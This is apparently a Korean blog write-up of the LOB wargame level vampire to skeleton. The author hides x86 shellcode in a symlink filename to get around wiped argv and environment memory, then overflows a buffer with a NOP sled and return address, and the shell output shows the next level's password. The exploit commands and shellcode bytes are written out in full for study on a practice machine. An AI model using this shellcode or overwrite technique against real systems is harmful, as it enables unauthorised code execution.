argv 전체,
환경변수 전체 를 초기화 시킨다.
마땅한 페이로드가 생각나지 않아 삽질하던중,
메모리에 파일의 경로 값이 남는것을 발견했다.
그래서 gdb 로 확인을 해봤더니, 정말 초기화가 되지 않았다. 인자에 포함이 되지 않는 값인 것 같다.
그래서 심볼릭 링크를 이용해, (하드링크시 아이노드가 복사되어서 권한이 변경된다.)
파일 이름에 쉘코드를 포함시켰다.
[vampire@localhost payload]$ ls
????????????????????????????????????????????????????????????????????????????????????????????????????h?��?h�?SThjo?�h?i0chi0tij?Y�??Iy�A��T�
[vampire@localhost payload]$ rm -rf ./*
[vampire@localhost payload]$ ln -s ../
payload skeleton
[vampire@localhost payload]$ ln -s ../../
.bash_history .bash_logout .bash_profile .bashrc .emacs .screenrc skeleton skeleton.c tmp
[vampire@localhost payload]$ ln -s ../../skeleton `python -c 'print "\x90"*100 + "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`
� `python -c 'print "\x90"*44 + "\x9c\xff\xff\xbf"'`������������������������������������������������������������������������������h��h�^LSThjo��h^Ai0chi0tij^TY�^L^LIy�A��T�
������������������������������������������������
bash$ my-pass
euid = 510
shellcoder
bash$
'Wargame > LOB(끝)' 카테고리의 다른 글
darkknight -> bugbear (0) | 2015.03.20 |
---|---|
공유 라이브러리 하이재킹, 1 byte overwirte 는 건너뜁니다. (0) | 2015.03.20 |
troll -> vampire (0) | 2015.02.02 |
gdb 특정 값찾기 (0) | 2015.02.02 |
orge -> troll (0) | 2015.02.02 |